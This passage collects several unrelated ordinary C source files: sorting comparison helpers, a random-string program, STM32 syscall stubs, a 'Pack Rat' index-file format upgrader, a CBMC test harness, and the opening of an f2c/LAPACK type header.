v1 = atof(s1);
v2 = atof(s2);
if (v1 < v2)
return -1;
else if (v1 > v2)
return 1;
else
return 0;
}
int numcmp_dec(const char *s1, const char *s2) {
double v1, v2;
v1 = atof(s1);
v2 = atof(s2);
if (v1 > v2)
return -1;
else if (v1 < v2)
return 1;
else
return 0;
}
int my_strcmp(const char *s1, const char *s2) {
for (;*s1 == *s2; s1++, s2++)
if (*s1 == '\0')
return 0;
return *s1 - *s2;
}
int fold_strcmp(const char *s1, const char *s2) {
size_t s1_len = strlen(s1), s2_len = strlen(s2);
char *p1 = malloc(sizeof(char) * (s1_len + 1));
char *p2 = malloc(sizeof(char) * (s2_len + 1));
strncpy(p1, s1, s1_len);
strncpy(p2, s2, s2_len);
p1[s1_len] = '\0';
p2[s2_len] = '\0';
for (size_t i = 0; *(p1+ i) != '\0'; i++)
*(p1 + i) = tolower(*(p1+i));
for (size_t i = 0; *(p2 + i) != '\0'; i++)
*(p2 + i) = tolower(*(p2 + i));
int val = strncmp(p1, p2, (s1_len < s2_len ? s1_len : s2_len));
free(p1), free(p2), p1 = NULL, p2 = NULL;
return val;
}
#define MAXLEN 1000
int readlines(char *lineptr[], int maxlines) {
int len, nlines;
size_t line_len;
char *p, *line;
line_len = MAXLEN, nlines = 0;
line = malloc(sizeof(char) * 1000);
while ((len = getline(&line, &line_len, stdin)) > 0)
if (nlines >= maxlines || (p = malloc(sizeof(char) * len)) == NULL)
return -1;
else {
line[len - 1] = '\0';
strcpy(p, line);
lineptr[nlines++] = p;
}
free(line);
return nlines;
}
void writelines(char *lineptr[], int nlines) {
int i;
for (i = 0; i < nlines; i++)
printf("%s\n", lineptr[i]);
}
|
the_stack_data/15762722.c | #include <stdio.h>
#include <stdlib.h>
int main(){
int i, n;
char* buffer;
printf("How long do you want the string? ");
scanf("%d", &i);
buffer = (char*)malloc(i+1);
if (buffer == NULL) exit(1);
for (n=0; n<i; n++) buffer[n] = rand() % 26 + 'a';
buffer[i] = '\0';
printf("Random string: %s\n", buffer);
free(buffer);
return 0;
} |
the_stack_data/179829643.c | /**
*****************************************************************************
**
** File : syscalls.c
**
** Author : Auto-generated by STM32CubeIDE
**
** Abstract : STM32CubeIDE Minimal System calls file
**
** For more information about which c-functions
** need which of these lowlevel functions
** please consult the Newlib libc-manual
**
** Environment : STM32CubeIDE MCU
**
** Distribution: The file is distributed as is, without any warranty
** of any kind.
**
*****************************************************************************
**
** <h2><center>© COPYRIGHT(c) 2018 STMicroelectronics</center></h2>
**
** Redistribution and use in source and binary forms, with or without modification,
** are permitted provided that the following conditions are met:
** 1. Redistributions of source code must retain the above copyright notice,
** this list of conditions and the following disclaimer.
** 2. Redistributions in binary form must reproduce the above copyright notice,
** this list of conditions and the following disclaimer in the documentation
** and/or other materials provided with the distribution.
** 3. Neither the name of STMicroelectronics nor the names of its contributors
** may be used to endorse or promote products derived from this software
** without specific prior written permission.
**
** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
** AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
** DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
** FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
** DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
** SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
** CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
** OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
**
**
*****************************************************************************
*/
/* Includes */
#include <errno.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/times.h>
#include <time.h>
extern int errno;
extern int __io_putchar(int ch) __attribute__((weak));
extern int __io_getchar(void) __attribute__((weak));
register char *stack_ptr __asm("sp");
char *__env[1] = {0};
char **environ = __env;
/* Functions */
void initialise_monitor_handles() {}
int _getpid(void) { return 1; }
int _kill(int pid, int sig)
{
errno = EINVAL;
return -1;
}
void _exit(int status)
{
_kill(status, -1);
while (1) {
} /* Make sure we hang here */
}
__attribute__((weak)) int _read(int file, char *ptr, int len)
{
int DataIdx;
for (DataIdx = 0; DataIdx < len; DataIdx++) {
*ptr++ = __io_getchar();
}
return len;
}
__attribute__((weak)) int _write(int file, char *ptr, int len)
{
int DataIdx;
for (DataIdx = 0; DataIdx < len; DataIdx++) {
__io_putchar(*ptr++);
}
return len;
}
int _close(int file) { return -1; }
int _fstat(int file, struct stat *st)
{
st->st_mode = S_IFCHR;
return 0;
}
int _isatty(int file) { return 1; }
int _lseek(int file, int ptr, int dir) { return 0; }
int _open(char *path, int flags, ...)
{
/* Pretend like we always fail */
return -1;
}
int _wait(int *status)
{
errno = ECHILD;
return -1;
}
int _unlink(char *name)
{
errno = ENOENT;
return -1;
}
int _times(struct tms *buf) { return -1; }
int _stat(char *file, struct stat *st)
{
st->st_mode = S_IFCHR;
return 0;
}
int _link(char *old, char *new)
{
errno = EMLINK;
return -1;
}
int _fork(void)
{
errno = EAGAIN;
return -1;
}
int _execve(char *name, char **argv, char **env)
{
errno = ENOMEM;
return -1;
}
|
the_stack_data/429935.c | #define _FILE_OFFSET_BITS 64
#include <stdlib.h>
#include <unistd.h>
#include <sys/file.h>
#include <stdint.h>
#include <strings.h>
#include <math.h> // for ceil, floor
#include <stdio.h>
static const uint64_t pow2[] = {1,2,4,8,16,32,64,128,256,512,1024,2048,4096,8192,16384,32768,65536,131072,262144,524288,1048576,2097152,4194304,8388608,16777216,33554432,67108864,134217728,268435456,536870912,1073741824,2147483648,4294967296,8589934592,17179869184,34359738368,68719476736,137438953472,274877906944,549755813888,1099511627776,2199023255552,4398046511104,8796093022208,17592186044416,35184372088832,70368744177664,140737488355328,281474976710656,562949953421312,1125899906842624,2251799813685248,4503599627370496,9007199254740992,18014398509481984,36028797018963968,72057594037927936,144115188075855872,288230376151711744,576460752303423488,1152921504606846976,2305843009213693952,4611686018427387904,9223372036854775808ULL};
#define BIT_SET(a,b) ((a) |= (1ULL<<(b)))
#define BIT_CLEAR(a,b) ((a) &= ~(1ULL<<(b)))
#define BIT_FLIP(a,b) ((a) ^= (1ULL<<(b)))
#define BIT_CHECK(a,b) (!!((a) & (1ULL<<(b)))) // '!!' to make sure this returns 0 or 1
#define INT_2P63 9223372036854775808ULL
#define INT_2P62 4611686018427387904
#define INT_2P61 2305843009213693952
#define INT_2P60 1152921504606846976
#define INT_2P59 576460752303423488
#define INT_2P58 288230376151711744
#define INT_2P57 144115188075855872
#define INT_2P56 72057594037927936
#define INT_2P55 36028797018963968
#define INT_2P54 18014398509481984
#define INT_2P53 9007199254740992
#define INT_2P52 4503599627370496
#define INT_2P51 2251799813685248
#define INT_2P50 1125899906842624
#define INT_2P49 562949953421312
#define INT_2P48 281474976710656
#define INT_2P47 140737488355328
#define INT_2P46 70368744177664
#define INT_2P45 35184372088832
#define INT_2P44 17592186044416
#define INT_2P43 8796093022208
#define INT_2P42 4398046511104
#define INT_2P41 2199023255552
#define INT_2P40 1099511627776
#define INT_2P39 549755813888
#define INT_2P38 274877906944
#define INT_2P37 137438953472
#define INT_2P36 68719476736
#define INT_2P35 34359738368
#define INT_2P34 17179869184
#define INT_2P33 8589934592
#define INT_2P32 4294967296
#define INT_2P31 2147483648
#define INT_2P30 1073741824
#define INT_2P29 536870912
#define INT_2P28 268435456
#define INT_2P27 134217728
#define INT_2P26 67108864
#define INT_2P25 33554432
#define INT_2P24 16777216
#define INT_2P23 8388608
#define INT_2P22 4194304
#define INT_2P21 2097152
#define INT_2P20 1048576
#define INT_2P19 524288
#define INT_2P18 262144
#define INT_2P17 131072
#define INT_2P16 65536
#define INT_2P15 32768
#define INT_2P14 16384
#define INT_2P13 8192
#define INT_2P12 4096
#define INT_2P11 2048
#define INT_2P10 1024
#define INT_2P9 512
#define INT_2P8 256
#define INT_2P7 128
#define INT_2P6 64
#define INT_2P5 32
#define INT_2P4 16
#define INT_2P3 8
#define INT_2P2 4
#define INT_2P1 2
#define INT_2P0 1
#define bytesInBits_DOWN 0
#define bytesInBits_UP 1
static int bytesInBits(const int bits, const int dir) {
const int modulus = bits % 8;
return ((bits - modulus) / 8) + ((dir == bytesInBits_UP && modulus > 0) ? 1 : 0);
}
// Pack Rat v1 (PR)
// Get bit value, skipping first (skipBits) bits
static int bitCheck(const char *source, int skipBits) {
int byteBegin = 0;
int bitBegin = 0;
for (;skipBits > 0; skipBits--) {
bitBegin++;
if (bitBegin > 7) {
bitBegin = 0;
byteBegin++;
}
}
return BIT_CHECK(source[byteBegin], bitBegin);
}
// Get unsigned integer of 1-64 bits from a char array of 1-8 bytes
static uint64_t simpleUint_toInt(const char *c, const int skipBits, const int bitCount) {
if (bitCount < 1 || bitCount > 64) return 0;
uint64_t result = 0;
switch(bitCount) {
case 64: if (bitCheck(c, skipBits + 63)) result += INT_2P63;
case 63: if (bitCheck(c, skipBits + 62)) result += INT_2P62;
case 62: if (bitCheck(c, skipBits + 61)) result += INT_2P61;
case 61: if (bitCheck(c, skipBits + 60)) result += INT_2P60;
case 60: if (bitCheck(c, skipBits + 59)) result += INT_2P59;
case 59: if (bitCheck(c, skipBits + 58)) result += INT_2P58;
case 58: if (bitCheck(c, skipBits + 57)) result += INT_2P57;
case 57: if (bitCheck(c, skipBits + 56)) result += INT_2P56;
case 56: if (bitCheck(c, skipBits + 55)) result += INT_2P55;
case 55: if (bitCheck(c, skipBits + 54)) result += INT_2P54;
case 54: if (bitCheck(c, skipBits + 53)) result += INT_2P53;
case 53: if (bitCheck(c, skipBits + 52)) result += INT_2P52;
case 52: if (bitCheck(c, skipBits + 51)) result += INT_2P51;
case 51: if (bitCheck(c, skipBits + 50)) result += INT_2P50;
case 50: if (bitCheck(c, skipBits + 49)) result += INT_2P49;
case 49: if (bitCheck(c, skipBits + 48)) result += INT_2P48;
case 48: if (bitCheck(c, skipBits + 47)) result += INT_2P47;
case 47: if (bitCheck(c, skipBits + 46)) result += INT_2P46;
case 46: if (bitCheck(c, skipBits + 45)) result += INT_2P45;
case 45: if (bitCheck(c, skipBits + 44)) result += INT_2P44;
case 44: if (bitCheck(c, skipBits + 43)) result += INT_2P43;
case 43: if (bitCheck(c, skipBits + 42)) result += INT_2P42;
case 42: if (bitCheck(c, skipBits + 41)) result += INT_2P41;
case 41: if (bitCheck(c, skipBits + 40)) result += INT_2P40;
case 40: if (bitCheck(c, skipBits + 39)) result += INT_2P39;
case 39: if (bitCheck(c, skipBits + 38)) result += INT_2P38;
case 38: if (bitCheck(c, skipBits + 37)) result += INT_2P37;
case 37: if (bitCheck(c, skipBits + 36)) result += INT_2P36;
case 36: if (bitCheck(c, skipBits + 35)) result += INT_2P35;
case 35: if (bitCheck(c, skipBits + 34)) result += INT_2P34;
case 34: if (bitCheck(c, skipBits + 33)) result += INT_2P33;
case 33: if (bitCheck(c, skipBits + 32)) result += INT_2P32;
case 32: if (bitCheck(c, skipBits + 31)) result += INT_2P31;
case 31: if (bitCheck(c, skipBits + 30)) result += INT_2P30;
case 30: if (bitCheck(c, skipBits + 29)) result += INT_2P29;
case 29: if (bitCheck(c, skipBits + 28)) result += INT_2P28;
case 28: if (bitCheck(c, skipBits + 27)) result += INT_2P27;
case 27: if (bitCheck(c, skipBits + 26)) result += INT_2P26;
case 26: if (bitCheck(c, skipBits + 25)) result += INT_2P25;
case 25: if (bitCheck(c, skipBits + 24)) result += INT_2P24;
case 24: if (bitCheck(c, skipBits + 23)) result += INT_2P23;
case 23: if (bitCheck(c, skipBits + 22)) result += INT_2P22;
case 22: if (bitCheck(c, skipBits + 21)) result += INT_2P21;
case 21: if (bitCheck(c, skipBits + 20)) result += INT_2P20;
case 20: if (bitCheck(c, skipBits + 19)) result += INT_2P19;
case 19: if (bitCheck(c, skipBits + 18)) result += INT_2P18;
case 18: if (bitCheck(c, skipBits + 17)) result += INT_2P17;
case 17: if (bitCheck(c, skipBits + 16)) result += INT_2P16;
case 16: if (bitCheck(c, skipBits + 15)) result += INT_2P15;
case 15: if (bitCheck(c, skipBits + 14)) result += INT_2P14;
case 14: if (bitCheck(c, skipBits + 13)) result += INT_2P13;
case 13: if (bitCheck(c, skipBits + 12)) result += INT_2P12;
case 12: if (bitCheck(c, skipBits + 11)) result += INT_2P11;
case 11: if (bitCheck(c, skipBits + 10)) result += INT_2P10;
case 10: if (bitCheck(c, skipBits + 9)) result += INT_2P9;
case 9: if (bitCheck(c, skipBits + 8)) result += INT_2P8;
case 8: if (bitCheck(c, skipBits + 7)) result += INT_2P7;
case 7: if (bitCheck(c, skipBits + 6)) result += INT_2P6;
case 6: if (bitCheck(c, skipBits + 5)) result += INT_2P5;
case 5: if (bitCheck(c, skipBits + 4)) result += INT_2P4;
case 4: if (bitCheck(c, skipBits + 3)) result += INT_2P3;
case 3: if (bitCheck(c, skipBits + 2)) result += INT_2P2;
case 2: if (bitCheck(c, skipBits + 1)) result += INT_2P1;
case 1: if (bitCheck(c, skipBits + 0)) result += INT_2P0;
}
return result;
}
// Pack Rat v2 (Pr)
void bitcpy(char * const target, const char * const source, const int targetBegin, const int sourceBegin, const int bits) {
int targetBit = targetBegin % 8;
int sourceBit = sourceBegin % 8;
int targetByte = (targetBegin - targetBit) / 8;
int sourceByte = (sourceBegin - sourceBit) / 8;
for (int i = 0; i < bits; i++) {
if (1 & (source[sourceByte] >> (7 - sourceBit))) {
target[targetByte] |= (1 << (7 - targetBit)); // 1
} else {
target[targetByte] &= (UINT8_MAX ^ (1 << (7 - targetBit))); // 0
}
sourceBit++;
if (sourceBit > 7) {
sourceByte++;
sourceBit = 0;
}
targetBit++;
if (targetBit > 7) {
targetByte++;
targetBit = 0;
}
}
}
static void pruint_store(char * const target, uint64_t source, const int bitCount) {
switch (bitCount) { // no breaks
case 64: if (source >= pow2[63]) {target[7] |= 1 << 0; source -= pow2[63];} else target[7] &= (UINT8_MAX ^ 1 << 0);
case 63: if (source >= pow2[62]) {target[7] |= 1 << 1; source -= pow2[62];} else target[7] &= (UINT8_MAX ^ 1 << 1);
case 62: if (source >= pow2[61]) {target[7] |= 1 << 2; source -= pow2[61];} else target[7] &= (UINT8_MAX ^ 1 << 2);
case 61: if (source >= pow2[60]) {target[7] |= 1 << 3; source -= pow2[60];} else target[7] &= (UINT8_MAX ^ 1 << 3);
case 60: if (source >= pow2[59]) {target[7] |= 1 << 4; source -= pow2[59];} else target[7] &= (UINT8_MAX ^ 1 << 4);
case 59: if (source >= pow2[58]) {target[7] |= 1 << 5; source -= pow2[58];} else target[7] &= (UINT8_MAX ^ 1 << 5);
case 58: if (source >= pow2[57]) {target[7] |= 1 << 6; source -= pow2[57];} else target[7] &= (UINT8_MAX ^ 1 << 6);
case 57: if (source >= pow2[56]) {target[7] |= 1 << 7; source -= pow2[56];} else target[7] &= (UINT8_MAX ^ 1 << 7);
case 56: if (source >= pow2[55]) {target[6] |= 1 << 0; source -= pow2[55];} else target[6] &= (UINT8_MAX ^ 1 << 0);
case 55: if (source >= pow2[54]) {target[6] |= 1 << 1; source -= pow2[54];} else target[6] &= (UINT8_MAX ^ 1 << 1);
case 54: if (source >= pow2[53]) {target[6] |= 1 << 2; source -= pow2[53];} else target[6] &= (UINT8_MAX ^ 1 << 2);
case 53: if (source >= pow2[52]) {target[6] |= 1 << 3; source -= pow2[52];} else target[6] &= (UINT8_MAX ^ 1 << 3);
case 52: if (source >= pow2[51]) {target[6] |= 1 << 4; source -= pow2[51];} else target[6] &= (UINT8_MAX ^ 1 << 4);
case 51: if (source >= pow2[50]) {target[6] |= 1 << 5; source -= pow2[50];} else target[6] &= (UINT8_MAX ^ 1 << 5);
case 50: if (source >= pow2[49]) {target[6] |= 1 << 6; source -= pow2[49];} else target[6] &= (UINT8_MAX ^ 1 << 6);
case 49: if (source >= pow2[48]) {target[6] |= 1 << 7; source -= pow2[48];} else target[6] &= (UINT8_MAX ^ 1 << 7);
case 48: if (source >= pow2[47]) {target[5] |= 1 << 0; source -= pow2[47];} else target[5] &= (UINT8_MAX ^ 1 << 0);
case 47: if (source >= pow2[46]) {target[5] |= 1 << 1; source -= pow2[46];} else target[5] &= (UINT8_MAX ^ 1 << 1);
case 46: if (source >= pow2[45]) {target[5] |= 1 << 2; source -= pow2[45];} else target[5] &= (UINT8_MAX ^ 1 << 2);
case 45: if (source >= pow2[44]) {target[5] |= 1 << 3; source -= pow2[44];} else target[5] &= (UINT8_MAX ^ 1 << 3);
case 44: if (source >= pow2[43]) {target[5] |= 1 << 4; source -= pow2[43];} else target[5] &= (UINT8_MAX ^ 1 << 4);
case 43: if (source >= pow2[42]) {target[5] |= 1 << 5; source -= pow2[42];} else target[5] &= (UINT8_MAX ^ 1 << 5);
case 42: if (source >= pow2[41]) {target[5] |= 1 << 6; source -= pow2[41];} else target[5] &= (UINT8_MAX ^ 1 << 6);
case 41: if (source >= pow2[40]) {target[5] |= 1 << 7; source -= pow2[40];} else target[5] &= (UINT8_MAX ^ 1 << 7);
case 40: if (source >= pow2[39]) {target[4] |= 1 << 0; source -= pow2[39];} else target[4] &= (UINT8_MAX ^ 1 << 0);
case 39: if (source >= pow2[38]) {target[4] |= 1 << 1; source -= pow2[38];} else target[4] &= (UINT8_MAX ^ 1 << 1);
case 38: if (source >= pow2[37]) {target[4] |= 1 << 2; source -= pow2[37];} else target[4] &= (UINT8_MAX ^ 1 << 2);
case 37: if (source >= pow2[36]) {target[4] |= 1 << 3; source -= pow2[36];} else target[4] &= (UINT8_MAX ^ 1 << 3);
case 36: if (source >= pow2[35]) {target[4] |= 1 << 4; source -= pow2[35];} else target[4] &= (UINT8_MAX ^ 1 << 4);
case 35: if (source >= pow2[34]) {target[4] |= 1 << 5; source -= pow2[34];} else target[4] &= (UINT8_MAX ^ 1 << 5);
case 34: if (source >= pow2[33]) {target[4] |= 1 << 6; source -= pow2[33];} else target[4] &= (UINT8_MAX ^ 1 << 6);
case 33: if (source >= pow2[32]) {target[4] |= 1 << 7; source -= pow2[32];} else target[4] &= (UINT8_MAX ^ 1 << 7);
case 32: if (source >= pow2[31]) {target[3] |= 1 << 0; source -= pow2[31];} else target[3] &= (UINT8_MAX ^ 1 << 0);
case 31: if (source >= pow2[30]) {target[3] |= 1 << 1; source -= pow2[30];} else target[3] &= (UINT8_MAX ^ 1 << 1);
case 30: if (source >= pow2[29]) {target[3] |= 1 << 2; source -= pow2[29];} else target[3] &= (UINT8_MAX ^ 1 << 2);
case 29: if (source >= pow2[28]) {target[3] |= 1 << 3; source -= pow2[28];} else target[3] &= (UINT8_MAX ^ 1 << 3);
case 28: if (source >= pow2[27]) {target[3] |= 1 << 4; source -= pow2[27];} else target[3] &= (UINT8_MAX ^ 1 << 4);
case 27: if (source >= pow2[26]) {target[3] |= 1 << 5; source -= pow2[26];} else target[3] &= (UINT8_MAX ^ 1 << 5);
case 26: if (source >= pow2[25]) {target[3] |= 1 << 6; source -= pow2[25];} else target[3] &= (UINT8_MAX ^ 1 << 6);
case 25: if (source >= pow2[24]) {target[3] |= 1 << 7; source -= pow2[24];} else target[3] &= (UINT8_MAX ^ 1 << 7);
case 24: if (source >= pow2[23]) {target[2] |= 1 << 0; source -= pow2[23];} else target[2] &= (UINT8_MAX ^ 1 << 0);
case 23: if (source >= pow2[22]) {target[2] |= 1 << 1; source -= pow2[22];} else target[2] &= (UINT8_MAX ^ 1 << 1);
case 22: if (source >= pow2[21]) {target[2] |= 1 << 2; source -= pow2[21];} else target[2] &= (UINT8_MAX ^ 1 << 2);
case 21: if (source >= pow2[20]) {target[2] |= 1 << 3; source -= pow2[20];} else target[2] &= (UINT8_MAX ^ 1 << 3);
case 20: if (source >= pow2[19]) {target[2] |= 1 << 4; source -= pow2[19];} else target[2] &= (UINT8_MAX ^ 1 << 4);
case 19: if (source >= pow2[18]) {target[2] |= 1 << 5; source -= pow2[18];} else target[2] &= (UINT8_MAX ^ 1 << 5);
case 18: if (source >= pow2[17]) {target[2] |= 1 << 6; source -= pow2[17];} else target[2] &= (UINT8_MAX ^ 1 << 6);
case 17: if (source >= pow2[16]) {target[2] |= 1 << 7; source -= pow2[16];} else target[2] &= (UINT8_MAX ^ 1 << 7);
case 16: if (source >= pow2[15]) {target[1] |= 1 << 0; source -= pow2[15];} else target[1] &= (UINT8_MAX ^ 1 << 0);
case 15: if (source >= pow2[14]) {target[1] |= 1 << 1; source -= pow2[14];} else target[1] &= (UINT8_MAX ^ 1 << 1);
case 14: if (source >= pow2[13]) {target[1] |= 1 << 2; source -= pow2[13];} else target[1] &= (UINT8_MAX ^ 1 << 2);
case 13: if (source >= pow2[12]) {target[1] |= 1 << 3; source -= pow2[12];} else target[1] &= (UINT8_MAX ^ 1 << 3);
case 12: if (source >= pow2[11]) {target[1] |= 1 << 4; source -= pow2[11];} else target[1] &= (UINT8_MAX ^ 1 << 4);
case 11: if (source >= pow2[10]) {target[1] |= 1 << 5; source -= pow2[10];} else target[1] &= (UINT8_MAX ^ 1 << 5);
case 10: if (source >= pow2[9]) {target[1] |= 1 << 6; source -= pow2[9];} else target[1] &= (UINT8_MAX ^ 1 << 6);
case 9: if (source >= pow2[8]) {target[1] |= 1 << 7; source -= pow2[8];} else target[1] &= (UINT8_MAX ^ 1 << 7);
case 8: if (source >= pow2[7]) {target[0] |= 1 << 0; source -= pow2[7];} else target[0] &= (UINT8_MAX ^ 1 << 0);
case 7: if (source >= pow2[6]) {target[0] |= 1 << 1; source -= pow2[6];} else target[0] &= (UINT8_MAX ^ 1 << 1);
case 6: if (source >= pow2[5]) {target[0] |= 1 << 2; source -= pow2[5];} else target[0] &= (UINT8_MAX ^ 1 << 2);
case 5: if (source >= pow2[4]) {target[0] |= 1 << 3; source -= pow2[4];} else target[0] &= (UINT8_MAX ^ 1 << 3);
case 4: if (source >= pow2[3]) {target[0] |= 1 << 4; source -= pow2[3];} else target[0] &= (UINT8_MAX ^ 1 << 4);
case 3: if (source >= pow2[2]) {target[0] |= 1 << 5; source -= pow2[2];} else target[0] &= (UINT8_MAX ^ 1 << 5);
case 2: if (source >= pow2[1]) {target[0] |= 1 << 6; source -= pow2[1];} else target[0] &= (UINT8_MAX ^ 1 << 6);
case 1: if (source >= pow2[0]) {target[0] |= 1 << 7; source -= pow2[0];} else target[0] &= (UINT8_MAX ^ 1 << 7);
}
}
// Upgrade PRC to PrC (Pack Rat Compact v1 to v2)
int upgrade_compact2(const char * const pathOld, const char * const pathNew) {
int priOld = open(pathOld, O_RDONLY);
if (priOld == -1) return 1;
char header[5];
ssize_t bytesRead = read(priOld, header, 5);
if (bytesRead != 5) return 1;
if (header[0] != 'P' || header[1] != 'R' || header[2] != 'C') {
puts("Not a Pack Rat Compact v1 (PRC) index file");
return 1;
}
const uint8_t bitsPos = header[3];
const int infoBytes = bytesInBits(bitsPos, bytesInBits_UP);
const off_t fileBytes = lseek(priOld, 0, SEEK_END);
lseek(priOld, 5, SEEK_SET);
// Write new PRI header
int priNew = open(pathNew, O_WRONLY | O_CREAT, 0644);
if (priNew == -1) return 1;
write(priNew, "PrC", 3);
write(priNew, &bitsPos, 1);
char zero = '\0';
write(priNew, &zero, 1);
off_t doneBytes = 5;
while (doneBytes < fileBytes) {
// Old (v1)
char oldInfo[infoBytes];
int bytesRead = read(priOld, oldInfo, infoBytes);
if (bytesRead != infoBytes) {
close(priOld);
close(priNew);
puts("Failed read()");
return 1;
}
const uint64_t pos = simpleUint_toInt(oldInfo, 0, bitsPos);
// New (v2)
char cpr_pos[infoBytes];
bzero(cpr_pos, infoBytes);
pruint_store(cpr_pos, pos, bitsPos);
const int ret = write(priNew, cpr_pos, infoBytes);
if (ret != infoBytes) {
close(priOld);
close(priNew);
puts("Failed write()");
return 1;
}
doneBytes += infoBytes;
}
close(priOld);
close(priNew);
puts("Pack Rat Compact v1 to v2 upgrade successful.");
return 0;
}
// Upgrade PR0 to Pr0 (Pack Rat Zero v1 to v2)
int upgrade_zero2(const char * const pathOld, const char * const pathNew) {
int priOld = open(pathOld, O_RDONLY);
if (priOld == -1) return 1;
char header[5];
ssize_t bytesRead = read(priOld, header, 5);
if (bytesRead != 5) return 1;
if (header[0] != 'P' || header[1] != 'R' || header[2] != '0') {
puts("Not a Pack Rat Zero v1 (PR0) index file");
return 1;
}
const uint8_t bitsPos = header[3];
const uint8_t bitsLen = header[4];
const int infoBytes = bytesInBits(bitsPos + bitsLen, bytesInBits_UP);
const off_t fileBytes = lseek(priOld, 0, SEEK_END);
lseek(priOld, 5, SEEK_SET);
// Write new PRI header
int priNew = open(pathNew, O_WRONLY | O_CREAT, 0644);
if (priNew == -1) return 1;
write(priNew, "Pr0", 3);
write(priNew, &bitsPos, 1);
write(priNew, &bitsLen, 1);
off_t doneBytes = 5;
while (doneBytes < fileBytes) {
// Old (v1)
char oldInfo[infoBytes];
int bytesRead = read(priOld, oldInfo, infoBytes);
if (bytesRead != infoBytes) {
close(priOld);
close(priNew);
puts("Failed read()");
return 1;
}
const uint64_t pos = simpleUint_toInt(oldInfo, 0, bitsPos);
const uint64_t len = simpleUint_toInt(oldInfo, bitsPos, bitsLen);
// New (v2)
char cpr_pos[infoBytes]; pruint_store(cpr_pos, pos, bitsPos);
char cpr_len[infoBytes]; pruint_store(cpr_len, len, bitsLen);
char cpr_full[infoBytes];
bzero(cpr_full, infoBytes);
bitcpy(cpr_full, cpr_pos, 0, 0, bitsPos);
bitcpy(cpr_full, cpr_len, bitsPos, 0, bitsLen);
const int ret = write(priNew, cpr_full, infoBytes);
if (ret != infoBytes) {
close(priOld);
close(priNew);
puts("Failed write()");
return 1;
}
doneBytes += infoBytes;
}
close(priOld);
close(priNew);
puts("Pack Rat Zero v1 to v2 upgrade successful.");
return 0;
}
int main(int argc, char *argv[]) {
if (argc != 3) {
puts("Usage: packrat-upgrade Old.pri New.pri");
return 1;
}
// return upgrade_compact2(argv[1], argv[2]);
return upgrade_zero2(argv[1], argv[2]);
}
|
the_stack_data/20751.c | #include <string.h>
struct mystruct {
int x;
char y;
};
int main()
{
struct mystruct s;
char c;
__CPROVER_input("c", c);
memset(&s,c,sizeof(struct mystruct));
if(s.y=='A')
{
return 0;
}
return 1;
}
|
the_stack_data/125139501.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
